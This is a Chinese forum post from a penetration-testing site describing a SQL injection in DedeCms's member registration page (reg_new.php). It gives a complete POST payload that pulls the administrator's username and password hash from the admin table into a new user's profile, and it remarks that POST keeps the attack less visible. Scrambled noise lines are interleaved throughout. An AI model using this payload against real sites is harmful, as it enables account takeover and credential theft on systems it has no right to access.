中国网络渗透测试联盟
标题:
DedeCms SQL注射漏洞再利用
[打印本页]
作者:
admin
时间:
2012-12-5 10:03
标题:
DedeCms SQL注射漏洞再利用
dedecms版本 20121122
6 h# u1 ^) Y8 r. D
" r7 ~. C Y4 e5 q. h
需要magic_quotes_gpc=Off
! J/ E+ U% X& n9 X h& `/ l' X4 ]: M
1 v# L4 ~* f" e+ \- h
应该是没有什么大危害的漏洞.
: [1 M& r# ]- G
原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.
) r/ @. ?; l0 F+ @
, t7 J; \1 a3 I) U' ^& V
是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
1 j! [/ X2 r! J/ w, w
POST提交以下数据,其实不用POST提交的,这样隐蔽点.
4 ^/ r) `9 ]' R/ m
! G9 @3 Z- I" S- ^ c2 S e1 Y' J2 F
http:///de/member/reg_new.php
# K! P, d5 c/ k+ g5 G
' H6 ~+ \0 f( y5 l8 Y4 E. Y( @
POST
+ Q0 |; Z5 w. [/ k6 u
1 C; |/ b( i9 R! ~ o8 s/ I
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=
3 h1 g7 H1 t( o- A
4 p2 t0 G% J& E9 X2 i( f d
成功注册后,头像处里面有好玩的信息.
9 ?1 r# ^: t+ {1 u( E, T
) x# q3 {9 x& W) {( D8 h- F e
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2